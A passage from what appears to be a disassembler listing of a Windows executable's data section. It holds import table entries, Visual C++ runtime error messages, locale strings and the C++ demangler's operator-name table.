XREF: sub_40300B+94r ; y22d6.y.:loc_4386BEw ... dd 0 dword_41E224 dd 7620BD61h ; DATA XREF: sub_4088D0+EBr dword_41E228 dd 76214750h ; DATA XREF: sub_4088D0+7Dr dword_41E22C dd 7620AFB6h ; DATA XREF: sub_4088D0+39r dd 0 dword_41E234 dd 71AB12F8h ; DATA XREF: sub_4023EB+79r dword_41E238 dd 71AB1746h ; DATA XREF: sub_4023EB+66r ; sub_40312D+B1r ... dword_41E23C dd 71AB5690h ; DATA XREF: sub_4023EB+D8r ; sub_403249+86r ... dword_41E240 dd 71AB3C22h ; DATA XREF: sub_4023EB+2Dr ; sub_40312D+74r ... dword_41E244 dd 71AB1A6Dh ; DATA XREF: sub_4023EB+22Fr ; sub_40312D:loc_4031B2r ... dword_41E248 dd 71AB1AF4h ; DATA XREF: sub_4023EB+BBr ; sub_4023EB+F7r ... dword_41E24C dd 71AB60C9h ; DATA XREF: sub_40312D+F3r dword_41E250 dd 71AB3ECEh ; DATA XREF: sub_40312D+D0r ; sub_4081DD+A3r dword_41E254 dd 71ABF628h ; DATA XREF: sub_403249+409r dword_41E258 dd 71AB3E5Dh ; DATA XREF: sub_4023EB+8Fr ; sub_40393C+122r ... dword_41E25C dd 71AB41DAh ; DATA XREF: sub_4049E1+399r dword_41E260 dd 71AB1ED3h ; DATA XREF: sub_407FE4+F3r dword_41E264 dd 71AB3F8Dh ; DATA XREF: sub_4081DD+57r dword_41E268 dd 71AB1746h ; DATA XREF: sub_407FE4+12Dr ; sub_407FE4+143r ... dword_41E26C dd 71AB1890h ; DATA XREF: sub_4081DD+105r ; sub_40A455+8Fr dword_41E270 dd 71AB1444h ; DATA XREF: sub_407FE4+118r ; sub_4081DD+142r dword_41E274 dd 71AB401Ch ; DATA XREF: sub_407FE4+199r ; sub_408CC5+E7r ... dword_41E278 dd 71AB155Ah ; DATA XREF: sub_40A455+54r dword_41E27C dd 71AB157Eh ; DATA XREF: sub_402A2D+3Cr dword_41E280 dd 71AB868Dh ; DATA XREF: sub_4030E2+34r dword_41E284 dd 71AB2BBFh ; DATA XREF: sub_40393C+87r dword_41E288 dd 71AB5DE2h ; DATA XREF: sub_40312D+105r dword_41E28C dd 71ABD755h ; DATA XREF: sub_403249+439r dword_41E290 dd 71AB1836h ; DATA XREF: sub_4049E1:loc_404E60r align 8 dword_41E298 dd 0 ; DATA XREF: sub_411A79+49o dd offset loc_41D748, offset loc_41D765, offset loc_41D782 dd offset loc_41D79E, offset loc_41D7AC, offset loc_41D7C8 dd offset loc_41D7E4 dword_41E2B8 dd 0 ; DATA XREF: sub_411A79+50o dword_41E2BC dd 0 ; DATA XREF: sub_411A79+2Do dd offset sub_40C985, offset sub_40EE04, offset sub_411455 dd offset sub_411D0F, offset sub_4175F5, offset sub_414EEC dword_41E2D8 dd 0 ; DATA XREF: sub_411A79+28o dword_41E2DC dd 0 ; DATA XREF: sub_411B0B+73o dd offset sub_41AF5A, offset sub_411DC0 dword_41E2E8 dd 0 ; DATA XREF: sub_411B0B:loc_411B79o dword_41E2EC dd 0 ; DATA XREF: sub_411B0B+83o dd offset sub_414F0D dword_41E2F4 dd 3 dup(0) ; DATA XREF: sub_411B0B:loc_411B89o dd offset dword_421618 off_41E304 dd offset loc_401D86, offset sub_40C8AF, offset dword_421698 ; DATA XREF: sub_401D7Bo ; .text:00401D89o ... off_41E310 dd offset loc_401E08, offset sub_401DFA, offset dword_4216E4 ; DATA XREF: sub_401DA8+20o ; sub_401DDD+Ao ... off_41E31C dd offset loc_401E2F, offset sub_401DFA, offset dword_421734 ; DATA XREF: .text:loc_401E24o ; .text:00401E32o ... off_41E328 dd offset loc_40AA92, offset sub_401DFA ; DATA XREF: sub_40AA87o ; .text:0040AA95o ... aStringTooLong db 'string too long',0 ; DATA XREF: sub_40AAB4+Co aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_40AAF3+Co dd offset dword_421784 off_41E35C dd offset sub_40C8BC, offset sub_40C8AF ; DATA XREF: sub_40C7CA+Ao ; sub_40C7DB+9o ... aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_40C8AF+7o align 4 dd offset dword_421798 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_292. PRESS KEYPAD "+" TO EXPAND] align 10h oword_41E380 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: sub_40DE50+E3r ; sub_40DE50+10Ar oword_41E390 xmmword 4330000000000000433h ; DATA XREF: sub_40DE50+46r oword_41E3A0 xmmword 0 ; DATA XREF: sub_40DE50:loc_40DF51r oword_41E3B0 xmmword 7FFh ; DATA XREF: sub_40DE50+5Fr dbl_41E3C0 db 0, 0, 0, 0, 0, 0, 0, 80h ; DATA XREF: sub_40DE50:loc_40DF4Ar dword_41E3C8 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_40E1BC+Eo dd 3, 19930520h, 2 dup(0) dword_41E3E8 dd 425B20h, 425B78h, 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh ; DATA XREF: sub_40E68F+D4o dd 14131211h, 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h dd 28272625h, 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h dd 3C3B3A39h, 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h dd 504F4E4Dh, 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh dd 64636261h, 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h dd 78777675h, 7C7B7A79h, 7F7E7Dh, 3Dh aEncodepointer db 'EncodePointer',0 ; DATA XREF: sub_40F128+43o ; sub_40F267+2Eo align 4 aKernel32_dll_0 db 'KERNEL32.DLL',0 ; DATA XREF: sub_40F128:loc_40F15Co ; sub_40F194:loc_40F1C8o ... align 4 aDecodepointer db 'DecodePointer',0 ; DATA XREF: sub_40F194+43o ; sub_40F267+42o align 4 aFlsfree db 'FlsFree',0 ; DATA XREF: sub_40F4D7+44o aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: sub_40F4D7+37o aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: sub_40F4D7+2Ao dword_41E4C4 dd 41736C46h ; DATA XREF: sub_40F4D7+22o byte_41E4C8 db 6Ch ; DATA XREF: sub_4109D7+177r db 6Ch, 6Fh, 63h align 10h aNull: ; DATA XREF: .data:off_423928o unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .data:off_423924o align 4 byte_41E4E8 db 6 ; DATA XREF: sub_4109D7:loc_410B60r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38202800h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_411981+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_411981o aCcs db 'ccs=',0 ; DATA XREF: sub_411E84+1CCo align 4 aUtf8 db 'UTF-8',0 ; DATA XREF: sub_411E84+1E0o align 10h aUtf16le db 'UTF-16LE',0 ; DATA XREF: sub_411E84:loc_412081o align 4 aUnicode db 'UNICODE',0 ; DATA XREF: sub_411E84:loc_41209Eo aRuntimeError db 'runtime error ',0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 8 aR6034AnApplica db 'R6034',0Dh,0Ah db 'An application has made an attempt to load the C runtime library ' db 'incorrectly.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 8 aR6033AttemptTo db 'R6033',0Dh,0Ah db '- Attempt to use MSIL code from this assembly during native code ' db 'initialization',0Ah db 'This indicates a bug in your application. It is most likely the r' db 'esult of calling an MSIL-compiled (/clr) function from a native c' db 'onstructor or from DllMain.',0Dh,0Ah,0 align 10h aR6032NotEnough db 'R6032',0Dh,0Ah db '- not enough space for locale information',0Dh,0Ah,0 align 8 aR6031AttemptTo db 'R6031',0Dh,0Ah db '- Attempt to initialize the CRT more than once.',0Ah db 'This indicates a bug in your application.',0Dh,0Ah,0 align 4 aR6030CrtNotIni db 'R6030',0Dh,0Ah db '- CRT not initialized',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_423BE4o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4136C1+157o align 10h asc_41EB00 db 0Ah ; DATA XREF: sub_4136C1:loc_4137D1o db 0Ah,0 align 4 a___ db '...',0 ; DATA XREF: sub_4136C1+E8o aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4136C1+A3o align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4136C1+5Bo db 0Ah db 'Program: ',0 align 4 dd 2 dup(0) dd 7FF00000h, 0 dd 0FFF00000h, 0 dd 7FE00000h, 0 dd 200000h, 3 dup(0) dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h, 0FFC00000h dd 0 dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h, 8DA24260h dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh dword_41EBA8 dd 6E6174h ; DATA XREF: sub_4143F6:loc_41462Eo dword_41EBAC dd 736F63h ; DATA XREF: sub_4143F6:loc_414625o dword_41EBB0 dd 6E6973h ; DATA XREF: sub_4143F6:loc_41461Co aModf db 'modf',0 ; DATA XREF: sub_4143F6:loc_414610o align 4 aFloor db 'floor',0 ; DATA XREF: sub_4143F6:loc_414604o align 4 aCeil db 'ceil',0 ; DATA XREF: sub_4143F6:loc_4145FBo align 4 aAtan db 'atan',0 ; DATA XREF: sub_4143F6:loc_4145F2o align 4 aExp10 db 'exp10',0 ; DATA XREF: sub_4143F6+1BFo align 10h dbl_41EBE0 dq 1.0 ; DATA XREF: sub_4146A6+6Dr aAcos db 'acos',0 ; DATA XREF: sub_4143F6:loc_414579o align 10h aAsin db 'asin',0 ; DATA XREF: sub_4143F6:loc_414570o align 4 aLog db 'log',0 ; DATA XREF: sub_4143F6:loc_414533o ; sub_4143F6+149o ... aLog10 db 'log10',0 ; DATA XREF: sub_4143F6:loc_41450Co ; sub_4143F6+131o ... align 4 aExp db 'exp',0 ; DATA XREF: sub_4143F6:loc_4144D3o ; sub_4143F6+10Do ... aPow db 'pow',0 ; DATA XREF: sub_4143F6:loc_41449Eo ; sub_4143F6:loc_41454Bo ... off_41EC0C dd offset sub_415124 ; DATA XREF: sub_410640+F1r ; sub_410640+FAo ... dd offset dword_4217E0 off_41EC14 dd offset loc_414F3C, offset sub_40C8AF ; DATA XREF: sub_414F31o ; .text:00414F3Fo ... dword_41EC1C dd 20646162h, 65637865h, 6F697470h, 6Eh ; DATA XREF: sub_415769+156o dword_41EC2C dd 41h dup(0) ; DATA XREF: sub_415CB7+25o ; sub_41609C+27o asc_41ED30: ; DATA XREF: .data:off_423668o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dd 0 dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0 aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 aMmDdYy db 'MM/dd/yy',0 align 4 aPm db 'PM',0 align 4 aAm db 'AM',0 align 4 aDecember db 'December',0 align 4 aNovember db 'November',0 align 4 aOctober db 'October',0 aSeptember db 'September',0 align 4 aAugust db 'August',0 align 10h aJuly db 'July',0 align 4 aJune db 'June',0 align 10h aApril db 'April',0 align 4 aMarch db 'March',0 align 10h aFebruary db 'February',0 align 4 aJanuary db 'January',0 aDec db 'Dec',0 aNov db 'Nov',0 aOct db 'Oct',0 aSep db 'Sep',0 aAug db 'Aug',0 aJul db 'Jul',0 aJun db 'Jun',0 aMay db 'May',0 aApr db 'Apr',0 aMar db 'Mar',0 aFeb db 'Feb',0 aJan db 'Jan',0 aSaturday db 'Saturday',0 align 10h aFriday db 'Friday',0 align 4 aThursday db 'Thursday',0 align 4 aWednesday db 'Wednesday',0 align 10h aTuesday db 'Tuesday',0 aMonday db 'Monday',0 align 10h aSunday db 'Sunday',0 align 4 aSat db 'Sat',0 aFri db 'Fri',0 aThu db 'Thu',0 aWed db 'Wed',0 aTue db 'Tue',0 aMon db 'Mon',0 aSun db 'Sun',0 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_416874+53o align 4 aCompleteObject db ' Complete Object Locator',27h,0 ; DATA XREF: r69pu5ti:0041FB5Co align 4 aClassHierarchy db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: r69pu5ti:0041FB58o align 4 aBaseClassArray db ' Base Class Array',27h,0 ; DATA XREF: r69pu5ti:0041FB54o align 4 aBaseClassDescr db ' Base Class Descriptor at (',0 ; DATA XREF: r69pu5ti:0041FB50o aTypeDescriptor db ' Type Descriptor',27h,0 ; DATA XREF: r69pu5ti:0041FB4Co align 4 aLocalStaticThr db '`local static thread guard',27h,0 ; DATA XREF: r69pu5ti:0041FC98o aManagedVectorC db '`managed vector copy constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC94o align 4 aVectorVbaseCop db '`vector vbase copy constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC90o align 10h aVectorCopyCons db '`vector copy constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC8Co align 4 aDynamicAtexitD db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: r69pu5ti:0041FC88o align 4 aDynamicInitial db '`dynamic initializer for ',27h,0 ; DATA XREF: r69pu5ti:0041FC84o align 4 aEhVectorVbaseC db '`eh vector vbase copy constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC80o aEhVectorCopyCo db '`eh vector copy constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC7Co align 4 aManagedVectorD db '`managed vector destructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC78o align 10h aManagedVecto_0 db '`managed vector constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC74o align 4 aPlacementDelet db '`placement delete[] closure',27h,0 ; DATA XREF: r69pu5ti:0041FC70o align 4 aPlacementDel_0 db '`placement delete closure',27h,0 ; DATA XREF: r69pu5ti:0041FC6Co align 4 aOmniCallsig db '`omni callsig',27h,0 ; DATA XREF: r69pu5ti:0041FC68o align 4 aDelete db ' delete[]',0 ; DATA XREF: r69pu5ti:0041FC64o align 10h aNew db ' new[]',0 ; DATA XREF: r69pu5ti:0041FC60o align 4 aLocalVftableCo db '`local vftable constructor closure',27h,0 ; DATA XREF: r69pu5ti:0041FC5Co aLocalVftable db '`local vftable',27h,0 ; DATA XREF: r69pu5ti:0041FC58o aRtti db '`RTTI',0 ; DATA XREF: r69pu5ti:0041FC54o align 4 aEh db '`EH',0 ; DATA XREF: r69pu5ti:0041FC50o aUdtReturning db '`udt returning',27h,0 ; DATA XREF: r69pu5ti:0041FC4Co aCopyConstructo db '`copy constructor closure',27h,0 ; DATA XREF: r69pu5ti:0041FC48o align 4 aEhVectorVbas_0 db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC44o align 4 aEhVectorDestru db '`eh vector destructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC40o aEhVectorConstr db '`eh vector constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC3Co align 10h aVirtualDisplac db '`virtual displacement map',27h,0 ; DATA XREF: r69pu5ti:0041FC38o align 4 aVectorVbaseCon db '`vector vbase constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC34o aVectorDestruct db '`vector destructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC30o align 10h aVectorConstruc db '`vector constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC2Co align 10h aScalarDeleting db '`scalar deleting destructor',27h,0 ; DATA XREF: r69pu5ti:0041FC28o align 10h aDefaultConstru db '`default constructor closure',27h,0 ; DATA XREF: r69pu5ti:0041FC24o align 10h aVectorDeleting db '`vector deleting destructor',27h,0 ; DATA XREF: r69pu5ti:0041FC20o align 10h aVbaseDestructo db '`vbase destructor',27h,0 ; DATA XREF: r69pu5ti:0041FC1Co align 4 aString db '`string',27h,0 ; DATA XREF: r69pu5ti:0041FC18o align 10h aLocalStaticGua db '`local static guard',27h,0 ; DATA XREF: r69pu5ti:0041FC14o align 4 aTypeof db '`typeof',27h,0 ; DATA XREF: r69pu5ti:0041FC10o align 4 aVcall db '`vcall',27h,0 ; DATA XREF: r69pu5ti:0041FC0Co aVbtable db '`vbtable',27h,0 ; DATA XREF: r69pu5ti:0041FC08o align 4 aVftable db '`vftable',27h,0 ; DATA XREF: r69pu5ti:0041FC04o align 4 asc_41FA04 db '^=',0 ; DATA XREF: r69pu5ti:0041FC00o align 4 asc_41FA08 db '|=',0 ; DATA XREF: r69pu5ti:0041FBFCo align 4 asc_41FA0C db '&=',0 ; DATA XREF: r69pu5ti:0041FBF8o align 10h asc_41FA10 db '<<=',0 ; DATA XREF: r69pu5ti:0041FBF4o asc_41FA14 db '>>=',0 ; DATA XREF: r69pu5ti:0041FBF0o asc_41FA18 db '%=',0 ; DATA XREF: r69pu5ti:0041FBECo align 4 asc_41FA1C db '/=',0 ; DATA XREF: r69pu5ti:0041FBE8o align 10h asc_41FA20 db '-=',0 ; DATA XREF: r69pu5ti:0041FBE4o align 4 asc_41FA24 db '+=',0 ; DATA XREF: r69pu5ti:0041FBE0o align 4 asc_41FA28 db '*=',0 ; DATA XREF: r69pu5ti:0041FBDCo align 4 asc_41FA2C db '||',0 ; DATA XREF: r69pu5ti:0041FBD8o align 10h asc_41FA30 db '&&',0 ; DATA XREF: r69pu5ti:0041FBD4o align 4 asc_41FA34: ; DATA XREF: r69pu5ti:0041FBD0o unicode 0, <|>,0 asc_41FA38: ; DATA XREF: r69pu5ti:0041FBCCo unicode 0, <^>,0 asc_41FA3C: ; DATA XREF: r69pu5ti:0041FBC8o unicode 0, <~>,0 asc_41FA40 db '()',0 ; DATA XREF: r69pu5ti:0041FBC4o align 4 asc_41FA44: ; DATA XREF: r69pu5ti:0041FBC0o unicode 0, <,>,0 asc_41FA48 db '>=',0 ; DATA XREF: r69pu5ti:0041FBBCo align 4 asc_41FA4C: ; DATA XREF: r69pu5ti:0041FBB8o dw 3Eh unicode 0, <>,0 asc_41FA50 db '<=',0 ; DATA XREF: r69pu5ti:0041FBB4o align 4 asc_41FA54: ; DATA XREF: r69pu5ti:0041FBB0o dw 3Ch unicode 0, <>,0 asc_41FA58: ; DATA XREF: r69pu5ti:0041FBACo unicode 0, <%>,0 asc_41FA5C: ; DATA XREF: r69pu5ti:0041FBA8o unicode 0, </>,0 asc_41FA60 db '->*',0 ; DATA XREF: r69pu5ti:0041FBA4o asc_41FA64: ; DATA XREF: r69pu5ti:0041FBA0o unicode 0, <&>,0 asc_41FA68: ; DATA XREF: r69pu5ti:0041FB9Co unicode 0, <+>,0 asc_41FA6C: ; DATA XREF: r69pu5ti:0041FB98o unicode 0, <->,0 asc_41FA70 db '--',0 ; DATA XREF: r69pu5ti:0041FB94o align 4 asc_41FA74 db '++',0 ; DATA XREF: r69pu5ti:0041FB90o align 4 asc_41FA78: ; DATA XREF: r69pu5ti:0041FB8Co unicode 0, <*>,0 asc_41FA7C db '->',0 ; DATA XREF: r69pu5ti:0041FB88o align 10h aOperator db 'operator',0 ; DATA XREF: r69pu5ti:0041FB84o align 4 asc_41FA8C db '[]',0 ; DATA XREF: r69pu5ti:0041FB80o align 10h asc_41FA90 db '!=',0 ; DATA XREF: r69pu5ti:0041FB7Co align 4 asc_41FA94 db '==',0 ; DATA XREF: r69pu5ti:0041FB78o align 4 asc_41FA98 db '<<',0 ; DATA XREF: r69pu5ti:0041FB70o align 4 asc_41FA9C db '>>',0 ; DATA XREF: r69pu5ti:0041FB6Co align 10h aDelete_0 db ' delete',0 ; DATA XREF: r69pu5ti:0041FB64o aNew_0 db ' new',0 ; DATA XREF: r69pu5ti:0041FB60o align 10h a__unaligned db '__unaligned',0 ; DATA XREF: r69pu5ti:0041FB44o a__restrict db '__restrict',0 ; DATA XREF: r69pu5ti:0041FB40o align 4 ; a__ptr64 a__ptr64 db '__ptr64',0 ; DATA XREF: r69pu5ti:0041FB3Co a__clrcall db '__clrcall',0 ; DATA XREF: r69pu5ti:0041FB38o align 4 a__fastcall db '__fastcall',0 ; DATA XREF: r69pu5ti:0041FB34o align 4 a__thiscall db '__thiscall',0 ; DATA XREF: r69pu5ti:0041FB30o align 4 a__stdcall db '__stdcall',0 ; DATA XREF: r69pu5ti:0041FB2Co align 10h a__pascal db '__pascal',0 ; DATA XREF: r69pu5ti:0041FB28o align 4 a__cdecl db '__cdecl',0 ; DATA XREF: r69pu5ti:0041FB24o a__based db '__based(',0 ; DATA XREF: r69pu5ti:0041FB20o align 10h dd offset a__based ; "__based(" dd offset a__cdecl ; "__cdecl" dd offset a__pascal ; "__pascal" dd offset a__stdcall ; "__stdcall" dd offset a__thiscall ; "__thiscall" dd offset a__fastcall ; "__fastcall" dd offset a__clrcall ; "__clrcall" dd offset a__ptr64 ; "__ptr64" dd offset a__restrict ; "__restrict" dd offset a__unaligned ; "__unaligned" dd offset byte_4202A1 dd offset aTypeDescriptor ; " Type Descriptor'" dd offset aBaseClassDescr ; " Base Class Descriptor at (" dd offset aBaseClassArray ; " Base Class Array'" dd offset aClassHierarchy ; " Class Hierarchy Descriptor'" dd offset aCompleteObject ; " Complete Object Locator'" dd offset aNew_0 ; " new" dd offset aDelete_0 ; " delete" dd offset dword_41E3E8+88h dd offset asc_41FA9C ; ">>" dd offset asc_41FA98 ; "<<" dd offset asc_420424 ; "!" dd offset asc_41FA94 ; "==" dd offset asc_41FA90 ; "!=" dd offset asc_41FA8C ; "[]" dd offset aOperator ; "operator" dd offset asc_41FA7C ; "->" dd offset asc_41FA78 ; "*" dd offset asc_41FA74 ; "++" dd offset asc_41FA70 ; "--" dd offset asc_41FA6C ; "-" dd offset asc_41FA68 ; "+" dd offset asc_41FA64 ; "&" dd offset asc_41FA60 ; "->*" dd offset asc_41FA5C ; "/" dd offset asc_41FA58 ; "%" dd offset asc_41FA54 ; "<" dd offset asc_41FA50 ; "<=" dd offset asc_41FA4C ; ">" dd offset asc_41FA48 ; ">=" dd offset asc_41FA44 ; "," dd offset asc_41FA40 ; "()" dd offset asc_41FA3C ; "~" dd offset asc_41FA38 ; "^" dd offset asc_41FA34 ; "|" dd offset asc_41FA30 ; "&&" dd offset asc_41FA2C ; "||" dd offset asc_41FA28 ; "*=" dd offset asc_41FA24 ; "+=" dd offset asc_41FA20 ; "-=" dd offset asc_41FA1C ; "/=" dd offset asc_41FA18 ; "%=" dd offset asc_41FA14 ; ">>=" dd offset asc_41FA10 ; "<<=" dd offset asc_41FA0C ; "&=" dd offset asc_41FA08 ; "|=" dd offset asc_41FA04 ; "^=" dd offset aVftable ; "`vftable'" dd offset aVbtable ; "`vbtable'" dd offset aVcall ; "`vcall'" dd offset aTypeof ; "`typeof'" dd offset aLocalStaticGua ; "`local static guard'" dd offset aString ; "`string'" dd offset aVbaseDestructo ; "`vbase destructor'" dd offset aVectorDeleting ; "`vector deleting destructor'" dd offset aDefaultConstru ; "`default constructor closure'" dd offset aScalarDeleting ; "`scalar deleting destructor'" dd offset aVectorConstruc ; "`vector constructor iterator'" dd offset aVectorDestruct ; "`vector destructor iterator'" dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'" dd offset aVirtualDisplac ; "`virtual displacement map'" dd offset 